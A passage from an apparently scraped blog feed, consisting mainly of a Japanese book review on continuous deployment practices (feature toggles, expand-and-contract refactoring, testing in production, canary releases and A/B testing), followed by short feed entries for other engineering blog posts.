mockup of the “last-minute items” feature より引用Figure 8-1では、「Last-Minute Items」機能のモックアップが示されており、ユーザーが最後の買い物を促すカルーセルが表示されています。この図は、実装の目標状態を視覚的に理解するのに役立ちます。特に印象的だったのは、各デプロイメントステップの詳細な説明です。フロントエンド、バックエンド、データベース層それぞれの変更を小さな単位で行い、各ステップで本番環境での検証を行う方法を示しています。Figure 8-5. The order of implementation from providers to consumers より引用Figure 8-5は、実装の順序を提供者からコンシューマーへと示しており、段階的な実装のアプローチを視覚化しています。一方、Figure 8-6は、コンシューマーから提供者への実装順序を示しており、アウトサイドインアプローチの利点を強調しています。Figure 8-6. The order of implementation from consumers to providers より引用この方法は、私が以前携わったマイクロサービスアーキテクチャのプロジェクトでも非常に効果的でした。各サービスを独立して開発・デプロイできることが大きな強みとなり、新機能の段階的なロールアウトが可能になりました。例えば、新しい支払い方法の導入時に、まず基本的なUIをデプロイし、次にバックエンドロジック、最後にデータベーススキーマの変更を行うことで、リスクを最小限に抑えつつ迅速に機能を提供することができました。一方で、この段階的なアプローチには課題もあります。特に、フィーチャートグルの管理が複雑になる可能性があります。多数のフィーチャートグルが存在する場合、それらの状態管理や清掃が煩雑になる可能性があります。この問題に対処するため、私のチームではフィーチャートグル管理システムを導入し、各トグルのライフサイクルを明確に定義しました。これにより、不要になったトグルの迅速な削除が可能になり、コードの複雑性を抑制することができました。Figure 8-9. The finished carousel UI with test products より引用Figure 8-9は、完成したカルーセルUIをテスト商品とともに示しており、段階的な実装の最終結果を視覚化しています。この図は、開発プロセス全体を通じて達成された進歩を示しています。結論この章から学んだ最も重要な教訓は、変更を小さな単位で行い、早期かつ頻繁にフィードバックを得ることの重要性です。これにより、リスクを最小限に抑えつつ、顧客のニーズにより適した機能を迅速に提供することが可能になります。著者のアプローチは非常に強力ですが、チームの状況や開発するシステムの特性に応じて適切にカスタマイズする必要があります。継続的デプロイメントの原則を理解し、それをプロジェクトの文脈に合わせて適用することが、成功への鍵となるでしょう。今後の実務においては、フィーチャートグルの戦略的な使用と管理、アウトサイドインアプローチによる段階的な実装、各デプロイメント段階での詳細な監視と検証、そしてチーム全体でのこのアプローチの理解と実践が重要になると考えています。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。承知しました。SREの観点からの考察を全体に散らして、内容を再構成します。Chapter 9. Refactoring Live Features第9章「Refactoring Live Features」は、継続的デプロイメント環境下で既存の機能をリファクタリングする方法に焦点を当てています。ライブシステムのリファクタリングが単なるコードの整理ではなく、ビジネス継続性を維持しながら、システムの進化を実現する重要なプロセスであることを強調しています。この章を通じて、著者は継続的デプロイメントがリファクタリングにもたらす課題と、それを克服するための具体的な戦略を明確に示しています。リファクタリングの重要性と課題著者はまず、ライブシステムのリファクタリングの重要性と、それに伴う課題について説明しています。継続的デプロイメント環境では、システムは常に稼働しており、ユーザーに影響を与えることなくリファクタリングを行う必要があります。これは、システムを止めることなく船の修理をするようなものだと言えます。私の経験では、この課題は特にマイクロサービスアーキテクチャにおいて顕著です。例えば、あるEコマースプラットフォームで、決済システムのリファクタリングを行った際、サービス間の依存関係を慎重に管理しながら、段階的に変更を加えていく必要がありました。一度に大きな変更を加えるのではなく、小さな変更を積み重ねることで、リスクを最小限に抑えつつ、システムを進化させることができました。著者が強調しているのは、バックワードコンパティビリティを維持しながら、小さな変更を継続的にデプロイすることの重要性です。これは、SREの観点からも非常に重要なポイントです。システムの安定性を維持しつつ、パフォーマンスや保守性を向上させるためには、この原則を徹底する必要があります。運用性の面では、このアプローチを採用することで、リファクタリング中のシステムの安定性が向上します。各段階でのロールバックが容易になり、問題が発生した場合の影響を最小限に抑えることができます。また、可観測性の観点からは、段階的なアプローチにより、各変更の影響を明確に観察することができます。これは、問題の早期発見と迅速な対応を可能にします。Expand and Contractパターンリファクタリングを安全に行うための主要な戦略として、Expand and Contractパターン(別名Parallel Change)を紹介しています。このパターンは、新旧の実装を並行して維持し、段階的に移行していくアプローチです。Figure 9-3. A high-level view of the expand and contract pattern for replacing old product IDs より引用Figure 9-3は、このパターンを視覚的に表現しており、非常に印象的でした。このアプローチは、特に複雑なシステムのリファクタリングで効果を発揮します。例えば、私が以前携わった金融システムのデータモデル変更では、このパターンを採用することで、数ヶ月にわたるマイグレーションプロセスを、ダウンタイムなしで実現することができました。Expand and Contractパターンの本質は、変更を段階的に行い、各段階で安全性を確保することです。これは、継続的デプロイメントの原則と完全に一致しています。SREの観点からも、このアプローチは監視とロールバックの容易さを保証するため、非常に有効です。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、バックワードコンパティビリティを維持することで、システム全体の安定性が確保されます。例えば、新旧の実装を並行して運用する際、両者のパフォーマンスを比較監視することで、潜在的な問題を事前に検出できます。複数層のプロバイダとコンシューマ複数層のプロバイダとコンシューマが存在する複雑なシステムでのリファクタリング戦略について詳しく説明しています。特に、内側から外側へのアプローチ(Inside-Out)を提案しており、これは非常に興味深い視点です。Figure 9-4. The expand and contract pattern on a multilayered application より引用Figure 9-4は、このアプローチを視覚的に表現しており、複雑なシステムでのリファクタリングの全体像を把握するのに役立ちます。私の経験では、このアプローチは特にマイクロサービスアーキテクチャで有効です。例えば、あるプロジェクトでAPIのバージョンアップを行った際、データベース層から始めて、バックエンドサービス、そしてフロントエンドへと段階的に変更を加えていきました。この内側から外側へのアプローチにより、各層での変更の影響を制御し、安全にリファクタリングを進めることができました。しかし、著者の主張に若干の疑問も感じました。実際のプロジェクトでは、完全に内側から外側へと進むことが難しい場合もあります。時には、ユーザー体験の改善を先行させるため、外側から内側へのアプローチが必要になることもあります。理想的には、内側から外側へのアプローチと外側から内側へのアプローチのバランスを取ることが重要だと考えています。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、具体的なリファクタリングのプロセスを段階的に説明しています。特に、製品IDシステムの変更という複雑なリファクタリングを通じて、Expand and Contractパターンの実践を示しています。この例は、理論を実践に落とし込む上で非常に有用です。例えば、データベーススキーマの変更、APIの更新、フロントエンドの修正など、各層での変更が詳細に説明されています。私の経験から、このような段階的なアプローチは、特に大規模なシステム変更において不可欠です。しかし、実際のプロジェクトではさらに複雑な状況に直面することがあります。例えば、レガシーシステムとの統合や、複数の異なるクライアントアプリケーションのサポートなど、追加の要素を考慮する必要があります。そのため、著者のアプローチを基礎としつつ、プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。私の経験では、このアプローチを採用することで、大規模なリファクタリングプロジェクトでも高い成功率を達成できました。例えば、あるプロジェクトでデータベースの移行を行った際、段階的なアプローチと詳細な監視を組み合わせることで、99.99%の可用性を維持しながら、移行を完了することができました。結論第9章「Refactoring Live Features」は、継続的デプロイメント環境下でのリファクタリングの重要性と、その実践方法について深い洞察を提供しています。著者が提案するExpand and Contractパターンと内側から外側へのアプローチは、複雑なシステムのリファクタリングを安全に行うための強力なフレームワークとなります。この章から学んだ最も重要な教訓は、リファクタリングを小さな、管理可能な段階に分割し、各段階でシステムの安定性と後方互換性を維持することの重要性です。これにより、リスクを最小限に抑えつつ、システムを継続的に改善することが可能になります。しかし、著者のアプローチをそのまま適用するだけでは不十分な場合もあります。実際のプロジェクトでは、レガシーシステムとの統合、複数のクライアントアプリケーションのサポート、厳格な規制要件など、追加の複雑性に直面することがあります。そのため、著者のアプローチを基礎としつつ、各プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。マイクロサービスアーキテクチャにおいては、サービス間の依存関係管理がさらに重要になります。APIの変更を行う際には、コンシューマードリブンコントラクトテスト(CDCT)を導入し、各サービスの互換性を継続的に検証することで、安全なリファクタリングを実現できます。今後の実務に活かすには、いくつかの重要なポイントに注目する必要があります。リファクタリングの各段階で明確な目標を設定し、その達成を測定可能にすることが重要です。また、自動化されたテストスイートを充実させ、各変更の影響を迅速に検証することも不可欠です。詳細な監視とアラートを設定し、問題の早期発見と迅速な対応を可能にすることも重要です。さらに、チーム全体でリファクタリングの重要性と方法論を共有し、継続的な改善文化を醸成すること、そして技術的負債の管理を戦略的に行い、計画的にリファクタリングを実施することも重要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。継続的デプロイメントの原則に基づいたリファクタリングアプローチを採用することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、さらに洗練されたリファクタリング戦略を構築していくことが重要です。複雑化するシステムに対応しつつ、継続的な改善を実現することは、現代のソフトウェアエンジニアリングにおける重要な課題で、この章の内容はその挑戦に立ち向かうための貴重な指針となるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社AmazonChapter 10. Data and Data Loss第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングと、それに伴うデータ損失のリスクについて深く掘り下げています。データベースの変更が単なるスキーマの修正ではなく、システム全体の整合性と安定性に大きな影響を与える重要な操作であることを強調しています。この章を通じて、著者はデータベースの変更を安全に行うための具体的な戦略と、それらの戦略が継続的デプロイメントの文脈でどのように適用されるかを明確に示しています。データベースリファクタリングの課題著者はまず、データベースリファクタリングが継続的デプロイメント環境下で直面する主要な課題について説明しています。特に印象的だったのは、データベースの変更とアプリケーションコードの変更を同時に行うことの危険性です。Figure 10-1. Incompatibility window during simultaneous changes より引用Figure 10-1は、同時変更によるインコンパティビリティのウィンドウを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの苦い経験を思い出しました。大規模なECサイトのリニューアルプロジェクトで、データベーススキーマの変更とアプリケーションコードの更新を同時にデプロイしたことがありました。結果として、デプロイ直後の数分間、一部のユーザーがエラーページを見ることになり、売上にも影響が出てしまいました。この経験から、データベースの変更は必ず独立したデプロイメントとして扱うことの重要性を痛感しました。著者の主張通り、データベースの変更はアプリケーションコードの変更とは別のライフサイクルで管理し、バックワードコンパティビリティを常に維持する必要があります。Expand and Contractパターンの適用著者は次に、Expand and Contractパターンをデータベースリファクタリングに適用する方法について詳しく説明しています。このパターンは、新旧のスキーマを一時的に共存させることで、安全な移行を実現する戦略です。Figure 10-2. Incompatibility window during simple expand and contract より引用しかし、著者が指摘するように、単純なExpand and Contractの適用では不十分な場合があります。特に、拡張フェーズと収縮フェーズの間にデータの不整合が生じる可能性がある点は重要です。Figure 10-2は、この問題を明確に示しています。私の経験でも、このパターンを適用する際には注意が必要でした。あるマイクロサービスアーキテクチャのプロジェクトで、ユーザープロファイルのスキーマを変更する際に、単純なExpand and Contractを適用したことがありました。しかし、移行期間中に新しいユーザー登録が行われ、新旧のスキーマに不整合が生じてしまいました。この経験から、データの整合性を維持するためには、アプリケーションレベルでの追加の対策が必要だと学びました。データベーストリガーとダブルライト戦略データベーストリガーとダブルライト戦略という2つの解決策を提案しています。特にダブルライト戦略は、実践的で効果的なアプローチだと感じました。この戦略を実際のプロジェクトに適用した経験があります。大規模なSaaSプラットフォームで、顧客データのスキーマを変更する必要がありました。我々はダブルライト戦略を採用し、新旧両方のカラムにデータを書き込むようにアプリケーションを修正しました。これにより、移行期間中もデータの整合性を維持しつつ、安全にスキーマを変更することができました。しかし、この戦略にも課題はあります。特に、パフォーマンスへの影響とコードの複雑性の増加は無視できません。我々のプロジェクトでも、ダブルライトによってデータベースの書き込み負荷が増加し、一時的にレイテンシが悪化しました。これに対処するため、書き込みのバッチ処理やキャッシュの最適化など、追加の対策が必要でした。ダブルリード戦略著者が提案するもう一つの戦略であるダブルリードも、実践的なアプローチです。この戦略は、読み取り操作で新旧両方のカラムをチェックすることで、移行期間中のデータアクセスの安全性を確保します。私が以前携わった金融系システムのマイグレーションプロジェクトでは、このダブルリード戦略を採用しました。口座情報のスキーマを変更する必要がありましたが、システムの性質上、一瞬たりともデータにアクセスできない状況は許されませんでした。ダブルリード戦略により、新旧のデータを並行して読み取ることで、移行中も確実にデータにアクセスできる状態を維持できました。ただし、この戦略を採用する際は、パフォーマンスへの影響を慎重に検討する必要があります。我々のケースでは、読み取り操作が増加することによるデータベース負荷の上昇が懸念されました。これに対処するため、キャッシュ層の強化やリードレプリカの追加など、インフラストラクチャレベルでの対策も並行して行いました。NoSQLデータベースへの適用著者は最後に、これらの戦略がNoSQLデータベースにも適用可能であることを説明しています。この点は特に重要だと感じました。現代のシステム開発では、RDBMSとNoSQLを併用するケースが増えていますが、NoSQLデータベースのスキーマレスな特性がリファクタリングを簡単にするわけではありません。私自身、MongoDBを使用したプロジェクトで同様の課題に直面しました。ドキュメントの構造を変更する必要がありましたが、既存のデータも大量に存在していました。我々は「マイグレーションオンリード」という戦略を採用し、読み取り時に古い形式のドキュメントを新しい形式に変換するロジックを実装しました。同時に、新しい書き込みは全て新形式で行うようにしました。しかし、この方法にも課題がありました。特に、読み取り時の変換処理によるパフォーマンスへの影響と、アプリケーションコードの複雑化は無視できませんでした。長期的には、バックグラウンドでの一括マイグレーションジョブを実行し、徐々に全てのデータを新形式に移行していく戦略を採用しました。結論第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングの複雑さと、それを安全に行うための戦略について深い洞察を提供しています。著者が提案する手法は、理論的に優れているだけでなく、実際のプロジェクトでも有効であることを、私自身の経験からも確認できました。特に重要だと感じたのは、データベースの変更を独立したデプロイメントとして扱うこと、バックワードコンパティビリティを常に維持すること、そしてデータの整合性を確保するための追加戦略(ダブルライトやダブルリードなど)を適用することです。これらの原則は、システムの安定性と信頼性を維持しつつ、継続的な改善を可能にする基盤となります。しかし、これらの戦略を採用する際は、パフォーマンスへの影響やコードの複雑性の増加といった副作用にも注意を払う必要があります。実際のプロジェクトでは、これらのトレードオフを慎重に評価し、適切な対策を講じることが重要です。今後のプロジェクトでは、この章で学んだ原則と戦略を基に、さらに洗練されたデータベースリファクタリングのアプローチを構築していきたいと考えています。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での適用方法、そしてNoSQLデータベースとの併用シナリオについて、さらに深く探求していく必要があるでしょう。継続的デプロイメントの文脈でデータベースリファクタリングを安全に行うことは、現代のソフトウェア開発における重要な課題の一つです。この章の内容は、その課題に立ち向かうための貴重な指針となるでしょう。同時に、各プロジェクトの特性や要件に応じて、これらの戦略をカスタマイズし、最適化していくことも忘れてはいけません。データの整合性と可用性を維持しつつ、システムを進化させていくことが、我々エンジニアの重要な責務なのです。Part IV. After DevelopmentChapter 11. Testing in Production第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境でのテストの重要性と実践方法について深く掘り下げています。本番環境でのテストが単なるリスクではなく、むしろソフトウェアの品質と信頼性を大幅に向上させる強力なツールであることを強調しています。この章を通じて、著者は本番環境でのテストの利点、具体的な実施方法、そしてそれが開発プロセス全体にどのような影響を与えるかを明確に示しています。本番環境でのテストの重要性著者はまず、本番環境でのテストが他の環境でのテストよりも優れている理由を詳細に説明しています。特に印象的だったのは、データ量の正確性、データ形状の正確性、リアルなリクエストパターン、そして実際のインフラストラクチャ構成などの点で、本番環境が圧倒的に優位であるという指摘です。Figure 11-2. The current state of the Groceroo checkout page より引用Figure 11-2は、本番環境と他の環境の違いを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの経験を思い出しました。大規模なマイクロサービスアーキテクチャを採用したシステムで、ステージング環境では完璧に動作していた新機能が、本番環境でパフォーマンス問題を引き起こしたことがありました。原因は、本番環境特有の複雑なデータ構造と高負荷状態でした。この経験から、本番環境でのテストの重要性を痛感しました。著者の主張の中で特に共感したのは、本番環境でのテストが単なるリスクテイキングではなく、むしろリスク軽減の手段になるという点です。確かに、本番環境で問題を早期に発見し、小規模な影響で修正できることは、大規模なリリース後の障害を防ぐ上で非常に有効です。しかし、著者の主張に若干の疑問も感じました。本番環境でのテストには確かに多くの利点がありますが、一方で慎重に管理されたステージング環境の価値も無視できません。特に、重大な障害が許されない金融系システムなどでは、段階的なアプローチが必要だと考えています。フィーチャートグルの活用著者は次に、本番環境でのテストを安全に行うための具体的な方法として、フィーチャートグルの活用について詳しく説明しています。クエリパラメータ、リクエストヘッダ、クッキー、ユーザー識別子などの様々な方法が紹介されています。私の経験では、フィーチャートグルの活用は本番環境でのテストを劇的に改善します。以前携わったプロジェクトでは、フィーチャートグルを導入することで、新機能のA/Bテストや段階的なロールアウトが可能になりました。特に、マイクロサービスアーキテクチャ環境では、各サービスの新バージョンを独立してテストできるようになり、リスクを大幅に軽減できました。一方で、フィーチャートグルの管理には課題もあります。トグルの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。この点について、著者の議論がもう少し深掘りされていれば良かったと感じました。私のチームでは、定期的なトグルの棚卸しと、トグルのライフサイクル管理を導入することで、この問題に対処しています。テストデータの管理本番環境でのテストにおけるテストデータの管理の重要性について強調しています。特に、テストデータと実データの分離、テストデータの漏洩防止について詳細に説明されています。この点は、SREの観点からも非常に重要です。テストデータの不適切な管理は、セキュリティリスクやコンプライアンス違反につながる可能性があります。私のチームでは、テストデータに特別なフラグを付け、本番環境でも安全に使用できるようにしています。また、テストデータの自動生成と定期的なクリーンアップを行うことで、データの鮮度と安全性を維持しています。著者の提案の中で特に興味深かったのは、テストデータを常に返すAPIの考え方です。これは、システム全体の一貫性を保つ上で非常に有効な方法だと感じました。ただし、この方法を採用する際は、パフォーマンスへの影響や、テストデータの管理コストについても慎重に検討する必要があります。本番環境でのデバッグ本番環境でのデバッグの難しさについても言及しています。特に、フロントエンドコードのデバッグに関する議論は非常に興味深かったです。ソースマップを本番環境で利用することについての著者の提案は、賛否両論あると思います。確かに、デバッグの容易さという点では大きなメリットがありますが、セキュリティの観点からは慎重に検討する必要があります。私の経験では、ソースマップを限定的に利用する方法(例えば、特定のIPアドレスからのアクセスに限定する)が有効でした。また、バックエンド側のデバッグについても言及があれば良かったと感じました。例えば、分散トレーシングやログ集約の重要性、エラー報告システムの構築などは、本番環境でのデバッグに不可欠な要素です。ステージング環境の役割再考著者は最後に、本番環境でのテストが十分に成熟した場合、ステージング環境の役割を再考する必要があると主張しています。この点については、完全に同意します。Figure 11-9. Testing in production and continuous delivery maturity より引用Figure 11-9は、テスト環境の進化を示しており、非常に示唆に富んでいます。確かに、多くの組織で複雑なステージング環境の維持に多大なリソースが費やされています。本番環境でのテストが十分に成熟すれば、これらのリソースをより価値のある活動に振り向けることができます。私の経験では、ステージング環境を完全に廃止するのではなく、その役割を再定義することが有効でした。例えば、自動化されたインテグレーションテストの実行や、大規模な移行テストの実施など、特定の目的に特化したステージング環境を維持することで、本番環境のリスクを最小限に抑えつつ、効率的なテストが可能になりました。結論第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境テストの重要性と実践方法について、深い洞察を提供しています。著者の主張は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。本番環境でのテストは、単なるリスクテイキングではなく、むしろシステムの信頼性と品質を大幅に向上させる強力なツールです。フィーチャートグルの活用、適切なテストデータ管理、そして成熟したデバッグ手法の組み合わせにより、安全かつ効果的な本番環境テストが可能になります。しかし、本番環境でのテストを成功させるためには、技術的な課題だけでなく、組織文化の変革も必要です。開発者、QA、運用チームの緊密な連携と、「失敗から学ぶ」文化の醸成が不可欠です。また、本番環境テストの成熟度に応じて、ステージング環境の役割を再考することも重要です。リソースの効率的な活用と、より迅速なフィードバックループの確立につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、より洗練された本番環境テスト戦略を構築していきたいと考えています。特に、フィーチャートグル管理の最適化、テストデータの自動生成と管理、そして分散システムにおけるデバッグ手法の改善に注力する必要があるでしょう。本番環境でのテストは、継続的デプロイメントの成功に不可欠な要素です。それは単にバグを早期に発見するだけでなく、システム全体の信頼性、スケーラビリティ、そして最終的にはユーザー満足度の向上につながります。この章の内容は、その挑戦に立ち向かうための貴重な指針となるでしょう。Chapter 12. Releasing第12章「Releasing」は、継続的デプロイメントの最終段階であるリリースプロセスに焦点を当てています。この章では、デプロイメントとリリースの違い、カナリーリリース、A/Bテスティングなど、安全かつ効果的にソフトウェアをユーザーに届けるための重要な概念と戦略が詳細に解説されています。デプロイメントとリリースの区別著者は冒頭で、デプロイメントとリリースの明確な区別を強調しています。デプロイメントは日常的な技術的イベントで、エンジニアリングニーズに基づいて1日に複数回行われる可能性があります。一方、リリースはビジネスイベントで、プロダクトニーズに基づいて独自のペースで行われます。この区別は、継続的デプロイメントの実践において極めて重要です。私自身、以前携わっていたプロジェクトで、この区別の重要性を痛感しました。デプロイメントとリリースを明確に分離することで、技術チームはコードの変更を頻繁に本番環境にプッシュしつつ、ビジネス側はユーザーへの機能公開のタイミングを戦略的にコントロールできるようになりました。例えば、ある大規模なECサイトのリニューアルプロジェクトでは、新機能のコードを数週間かけて段階的にデプロイしながら、実際のリリース(ユーザーへの公開)は大規模なマーケティングキャンペーンに合わせて一斉に行いました。これにより、技術的なリスクを最小限に抑えつつ、ビジネスインパクトを最大化することができました。フィーチャーフラグの重要性フィーチャーフラグをリリース管理の中心的なツールとして位置づけています。フィーチャーフラグは、コードのデプロイメントと機能のリリースを分離する強力なメカニズムです。私の経験からも、フィーチャーフラグの重要性は強調してもしきれません。以前、マイクロサービスアーキテクチャを採用したプロジェクトで、フィーチャーフラグを活用して新機能のロールアウトを制御しました。例えば、新しい決済システムの導入時には、まず社内ユーザーのみに機能を公開し、その後徐々にユーザーセグメントを拡大していきました。これにより、潜在的な問題を早期に発見し、大規模な障害を防ぐことができました。ただし、フィーチャーフラグの管理には課題もあります。フラグの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。私のチームでは、定期的なフラグの棚卸しと、フラグのライフサイクル管理を導入することで、この問題に対処しています。カナリーリリースカナリーリリースを新機能の安全な導入方法として詳細に説明しています。カナリーリリースは、新機能を限られたユーザーグループに段階的に公開し、その影響を監視しながら徐々に対象を拡大していく手法です。私自身、カナリーリリースの有効性を実感した経験があります。ある大規模なSaaSプラットフォームで、新しいデータ処理パイプラインを導入する際に、カナリーリリースを採用しました。最初は全トラフィックの1%に対して新パイプラインを有効にし、パフォーマンスと整合性を監視しました。問題が発見されなかったため、段階的にトラフィックを5%、10%、25%と増やしていきました。この段階的なアプローチにより、本番環境での予期せぬ問題を早期に発見し、修正することができました。例えば、トラフィックを10%に増やした際に、特定のケースでレイテンシが増加していることが分かりました。これにより、大規模な障害が起こる前に問題を特定し、修正することができました。A/BテスティングA/Bテスティングを製品開発の重要なツールとして紹介しています。A/Bテスティングは、異なるバージョンの機能を同時に比較し、ユーザー行動やビジネスメトリクスへの影響を測定する手法です。私の経験からも、A/Bテスティングは製品開発の意思決定プロセスを大きく改善する可能性があります。例えば、あるECサイトのチェックアウトフローの最適化プロジェクトでは、新旧2つのバージョンをA/Bテストしました。結果、新しいフローがコンバージョン率を8%向上させることが統計的に有意に示されました。これにより、新フローの全面的な導入を自信を持って決定することができました。しかし、A/Bテスティングには課題もあります。テストの設計、実行、結果の分析には多大な時間と労力が必要です。また、テスト期間中は複数のバージョンのコードを維持する必要があり、技術的な複雑性が増加します。私のチームでは、A/Bテスト専用のインフラストラクチャを構築し、テストの実施から結果の分析までを効率化することで、これらの課題に対処しています。カナリーリリースとA/Bテスティングの使い分けカナリーリリースとA/Bテスティングの違いと使い分けについて明確に説明しています。カナリーリリースは主にリリースのリスク軽減を目的としているのに対し、A/Bテスティングは製品実験とユーザー行動の理解を目的としています。この区別は重要ですが、実際のプロジェクトでは両方のアプローチを組み合わせて使用することが多いです。私の経験では、新機能をカナリーリリースで安全にデプロイした後、A/Bテストを実施してその効果を測定するという流れが効果的でした。例えば、新しい検索アルゴリズムの導入時には、まずカナリーリリースで全トラフィックの10%に新アルゴリズムを適用し、パフォーマンスと安定性を確認しました。問題がないことを確認後、残りの90%のトラフィックを使ってA/Bテストを実施し、新旧アルゴリズムのユーザーエンゲージメントと検索精度を比較しました。この方法により、技術的なリスクを最小限に抑えつつ、ビジネス面での効果を正確に測定することができました。結論フィーチャーフラグ、カナリーリリース、A/Bテスティングを効果的に活用することで、組織はリリースのリスクを最小限に抑えながら、データに基づいた製品開発の意思決定を行うことができると結論づけています。私自身の経験からも、これらの手法は継続的デプロイメントの成功に不可欠だと強く感じています。ただし、これらの手法を効果的に活用するためには、技術的な実装だけでなく、組織文化の変革も必要です。開発者、製品管理者、データアナリストなど、異なる役割の人々が緊密に連携し、迅速な意思決定と実行を行える体制を整えることが重要です。また、これらの手法を導入する際は、組織の規模、技術スタック、開発文化を考慮し、段階的に導入していくことをお勧めします。例えば、まずはシンプルなフィーチャーフラグから始め、徐々にカナリーリリース、そしてA/Bテスティングへと発展させていくアプローチが効果的でしょう。最後に、リリース戦略は常に進化し続けるべきものだと考えています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、継続的に自社のリリースプロセスを見直し、改善していく姿勢が重要です。この章で学んだ原則と手法を基礎としつつ、各組織やプロジェクトの特性に合わせてカスタマイズし、より効果的なリリース戦略を構築していくことが、継続的デプロイメントの成功につながるのだと確信しています。おわりに本書を読むのを通じて、継続的デプロイメントの全体像を探求できました。理論的な基礎から始まり、実際の開発サイクルにおける適用、そしてリリース戦略に至るまで、幅広いトピックをカバーしてました。特に印象的だったのは、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチを変革する可能性を持つことです。フィーチャーフラグ、カナリーリリース、A/Bテスティングなどの手法は、リスクを最小限に抑えつつ、データに基づいた意思決定を可能にします。継続的デプロイメントの実践は、常に進化し続けています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、私たちも常に学び、適応していく必要があります。なお、本読書感想文ではPart V. Case Studiesを省略しています。この部分では、実際の企業が継続的デプロイメントをどのように実践しているかの事例が紹介されています。これらの事例は、理論を実践に落とし込む上で非常に有益な洞察を提供しています。興味のある方は、ぜひ原書を手に取って読んでみることをお勧めします。最後に、継続的デプロイメントの導入を検討している読者の皆様に、エールを送りたいと思います。この旅は挑戦的ですが、同時に非常にやりがいのあるものです。成功だけでなく、失敗からも多くを学ぶことができるでしょう。ソフトウェア開発の景色は常に変化しています。皆様が継続的デプロイメントを通じて、どのような成果を上げ、どのような課題に直面するのか、ぜひフィードバックをお聞かせください。私たちエンジニアの共同体全体で、この実践をさらに発展させていけることを楽しみにしています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-10-01T23:04:53.000Z","dateMiliSeconds":1727823893000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~","link":"https://sreake.com/blog/intec_3shake/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-30T05:01:51.000Z","dateMiliSeconds":1727672511000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドセキュリティとは","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","contentSnippet":"1. はじめに 近年、企業のIT環境は急速にクラウド化が進んでいます。 クラウドサービスの利用により、柔軟なリソース管理や迅速なサービス展開が可能になり、ビジネスの迅速な立ち上げや、運用効率化、コスト削減などを実現できる […]The post クラウドセキュリティとは first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-30T01:34:40.000Z","dateMiliSeconds":1727660080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rのヘルプを便利にするfelp v0.6.0をリリース","link":"https://blog.atusy.net/2024/09/27/felp-0-6-0/","contentSnippet":"Rのヘルプを便利にするfelpパッケージのv0.6.0をリリースしました。felpはfunctional helpの略称です。数年前のTokyo.Rでの雑談がきっかけで生まれたパッケージで主に以下の機能があります。","isoDate":"2024-09-27T00:00:00.000Z","dateMiliSeconds":1727395200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛","link":"https://sreake.com/blog/moderninfra_appssummit/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-25T01:11:18.000Z","dateMiliSeconds":1727226678000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Argo CDによるKubernetesマルチテナント構成の検討","link":"https://sreake.com/blog/kubernetes-multi-tenants-by-argo-cd/","contentSnippet":"はじめに はじめまして、スリーシェイクのSreake事業部インターン生の上田です。 私は、SRE技術の調査と研究を行う目的で2024年8月19日~8月30日に開催された2週間のインターンに参加しました。 私はCI/CDパ […]The post Argo CDによるKubernetesマルチテナント構成の検討 first appeared on sreake.com | 